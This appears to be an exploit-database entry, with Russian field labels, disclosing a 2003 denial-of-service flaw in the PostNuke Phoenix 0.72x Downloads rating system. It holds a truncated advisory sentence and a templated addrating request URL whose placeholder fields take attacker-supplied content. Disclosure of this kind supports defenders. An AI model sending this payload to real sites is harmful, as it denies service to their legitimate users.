Exploit PostNuke Phoenix 0.72x - Rating System Denial of Service

[Exploiter]

EDB-ID

22660

Проверка EDB

1. Пройдено

Автор

LORENZO MANUEL HERNANDEZ GARCIA-HIERRO

Тип уязвимости

DOS

Платформа

PHP

CVE

null

Дата публикации

2003-05-26

source: https://www.securityfocus.com/bid/7702/info

some submissions to the rating system. Because of this, a remote attacker may be able to submit a string that causes a denial of service to legitmate users. 


http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT]